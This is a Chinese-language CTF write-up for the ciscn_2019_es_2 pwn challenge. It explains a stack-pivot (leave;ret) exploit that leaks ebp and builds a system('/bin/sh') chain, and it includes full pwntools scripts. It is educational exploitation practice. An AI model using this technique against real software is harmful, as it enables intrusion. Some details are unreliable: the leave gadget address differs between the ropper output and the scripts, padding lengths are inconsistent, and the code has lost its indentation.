判断文件类型和保护机制

使用ida静态分析

在main函数中调用了vul函数,read读取0x30的数据,但是栈空间有0x28,0x28+4覆盖ebp的值,0x2c+4为返回地址,而后没有可以构造的空间所以这里就没法利用栈溢出来,所以需要使用栈迁移(需要将栈空间迁移到一个足够大的空间上可以去构造新的ROP链)
栈迁移使用leave_ret
- leave指令一共执行2个步骤
首先: mov esp ebp 将ebp指向的地址给esp,也就是消除栈空间
然后: pop ebp 将esp指向地址存放的值赋值给ebp,所以ebp就会跑到新的地址,同时此时esp继续+4
- ret指令执行1个步骤
ret执行pop eip 将esp指向的地址存放的值给eip esp继续+4
这样之后,就会将ebp和esp的地址全部修改,从而到达一个新的栈中。
分析leave指令可以发现,栈迁移的时候和ebp的地址有关系,所以我们需要找能覆盖ebp的偏移量以及ebp的地址

这里可以看到,栈空间是0x28,可以读的是30,所以当读到0x28的时候,+0x4正好覆盖ebp,所以偏移量就是0x2c,又因为有prinf函数,后面直接打印出来地址,因为%s碰到\x00会截断,如果没有\x00就会连着打印后面的内容,所以我们将s填满之后不用\x00结尾,就会将地址全部输出,然后找到ebp的地址即可!
- 先找到偏移量
shell
from pwn import *
########################################################################################################################
con=1
if con:
print('当前程序是32位的:')
sleep(2)
context(log_level='debug', arch='i386', os='linux')
else:
print("当前程序是64位的")
sleep(2)
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
#定义函数!
def test_attach():
gdb.attach(io)
pause()
def p():
pause()
########################################################################################################################
filename='/mnt/hgfs/ctf/pwn/buuctf/ciscn_2019_es_2'
debug=1
if debug:
print('开始打本地:')
sleep(2)
io=process(filename)
else: #node5.buuoj.cn:28766
print("开始打远程")
sleep(2)
io = remote('node5.buuoj.cn', 28766)
########################################################################################################################
elf=ELF(filename)
payload = b'a' * 0x28 + b'b'*4
name1="Welcome, my friend. What's your name?\n"
io.sendafter(name1,payload)
test_attach()
io.interactive()


可以看到,此时ebp的值就是bbbb,所以这里我们发送0x28之后的数据需要修改ebp的值,然后将ebp迁移到新的地址上
接着我们就需要接收ebp的地址了!
shell
from pwn import *
########################################################################################################################
con=1
if con:
print('当前程序是32位的:')
sleep(2)
context(log_level='debug', arch='i386', os='linux')
else:
print("当前程序是64位的")
sleep(2)
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
#定义函数!
def test_attach():
gdb.attach(io)
pause()
def p():
pause()
########################################################################################################################
filename='/mnt/hgfs/ctf/pwn/buuctf/ciscn_2019_es_2'
debug=1
if debug:
print('开始打本地:')
sleep(2)
io=process(filename)
else: #node5.buuoj.cn:28766
print("开始打远程")
sleep(2)
io = remote('node5.buuoj.cn', 28766)
########################################################################################################################
elf=ELF(filename)
payload = b'a' * 0x27 + b'b'*4
print('开始发送数据')
name1="Welcome, my friend. What's your name?\n"
io.sendafter(name1,payload)
print("开始准备接收数据:")
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
print('ebd的地址为:{}'.format(hex(ebp)))
io.interactive()

可以看到这里我们就得到了ebp的地址
接着就需要我们去寻找一下迁移的地址应该放到哪里,因为这里调用了两次read,所以我们可以将迁移地址放到esp的地方(也就是我们输入的数据的地址上),使用gdb调试动态找一下我们输入的地址在哪

在第一次read地址0x080485B9上加断点

可以看到输入的地址距离栈底长度为: ffffcd98-fffcd60=0x38 也就是说我们要迁移的栈的地址为ebp-0x38的位置,然后我们使用lev ret即可
这里还需要寻找一个leavel的地址 ,使用ropper寻找
shell
ropper
file ciscn_2019_es_2
search leave
找到地址为:0x08048526,接着我们来先构造栈迁移的exp
shell
from pwn import *
########################################################################################################################
con=1
if con:
print('当前程序是32位的:')
sleep(2)
context(log_level='debug', arch='i386', os='linux')
else:
print("当前程序是64位的")
sleep(2)
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
#定义函数!
def test_attach():
gdb.attach(io)
pause()
def p():
pause()
########################################################################################################################
filename='/mnt/hgfs/ctf/pwn/buuctf/ciscn_2019_es_2'
debug=1
if debug:
print('开始打本地:')
sleep(2)
io=process(filename)
else: #node5.buuoj.cn:28766
print("开始打远程")
sleep(2)
io = remote('node5.buuoj.cn', 28766)
########################################################################################################################
elf=ELF(filename)
#test_attach()
leave_ret_addr=0x08048562
payload = b'a' * 0x24 + b'b'*4
print('开始发送数据')
name1="Welcome, my friend. What's your name?\n"
io.sendafter(name1,payload)
print("开始准备接收数据:")
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
print('ebd的地址为:{}'.format(hex(ebp)))
payload1=b'a'*0x28
payload1+=p32(ebp-0x38)+p32(leave_ret_addr)
test_attach()
io.send(payload1)
print('发送完成')
io.interactive()

这里可以看到我们执行到leave ret的时候,ebp指向的地址是aaaa,也就是我们上面发送的payload1中的aaaa,所以这里只要我们将paylaod1中的aaaa构造成我们新的rop链,就可以进行栈迁移之后得到shell,所以我们需要构造栈帧
注意:因为这里偏移量为0x28,所以我们的长度必须为0x28之后才能确保栈迁移,所以我们构造的栈帧长度不能超过0x28但是也不能小于0x28
栈帧的构造顺序应该为:
垃圾数据
system_addr
system-返回值
bin_sh地址
bin/sh
因为leave操作有一个pop指令,会导致栈指针+4 所以这里开头应该是有4字节的垃圾数据,因为程序中没有bin/sh的地址,所以这里需要我们手动找到一个地址来写入/bin/sh 所以需要有一个bin_sh地址,所以我们最终的栈帧应该布置为:
shell
b'aaaa'+p32(system_addr)+p32(0)+p32(ebp-0x38+4*0x4)+b'/bin/sh\x00' #system返回地址随便写,
p32(ebp-0x38+4*0x4) 在system之后应该加上bin/sh作为参数,从而可以实现system('/bin/sh'),但是bin/sh需要有一个地址,所以使用ebp-0x38+4*0x4 我们知道ebp-0x38说我们输入的aaaa然后system_addr是4字节,0是4字节,加上bin/sh地址是4字节,所以这里我们需要ebp-0x38+0x10也就是在ebp-0x28的地址上写入我们的bin/sh地址,然后后面写入bin/sh,那么当esp指针过来的时候经过system之后,会直接寻找bin/sh所指向的地址,而bin/sh地址上指的值正好是/bin/sh ,就会作为system的参数传入,然后就可以得到system('/bin/sh')
**注意:但是这里很明显我们构造的栈帧不足28长度,所以我们需要使用ljust在右边凭接000,确保长度达到28**
所以这里最终的栈帧布置为:
shell
(b'aaaa'+p32(system_addr)+p32(0)+p32(ebp-0x38+4*0x4)+b'/bin/sh\x00').ljust(0x28,b'\x00')
然后我们用这个栈帧发送即可!
最终exp
shell
from pwn import *
########################################################################################################################
con=1
if con:
print('当前程序是32位的:')
sleep(2)
context(log_level='debug', arch='i386', os='linux')
else:
print("当前程序是64位的")
sleep(2)
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
#定义函数!
def test_attach():
gdb.attach(io)
pause()
def p():
pause()
########################################################################################################################
filename='/mnt/hgfs/ctf/pwn/buuctf/ciscn_2019_es_2'
debug=1
if debug:
print('开始打本地:')
sleep(2)
io=process(filename)
else: #node5.buuoj.cn:28766
print("开始打远程")
sleep(2)
io = remote('node5.buuoj.cn', 28766)
########################################################################################################################
elf=ELF(filename)
#test_attach()
system_addr=elf.sym['system']
#0x8048400
print('system地址为:{}'.format(hex(system_addr)))
leave_ret_addr=0x08048562
payload = b'a' * 0x24 + b'bbbb'
print('开始发送数据')
name1="Welcome, my friend. What's your name?\n"
io.sendafter(name1,payload)
print("开始准备接收数据:")
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
print('ebd的地址为:{}'.format(hex(ebp)))
payload1=b'aaaa'+p32(system_addr)+p32(0)+p32(ebp-0x38+4*0x4)+b'/bin/sh\x00'
payload1=payload1.ljust(0x28,b'\x00')
payload1+=p32(ebp-0x38)+p32(leave_ret_addr)
test_attach()
io.send(payload1)
print('发送完成')
io.interactive()

我们使用gdb调试,在最后vul函数leave的地方加断点,可以看到这里栈帧的布置顺序就是我们上面的布置顺序

然后我们打远程

成功得到flag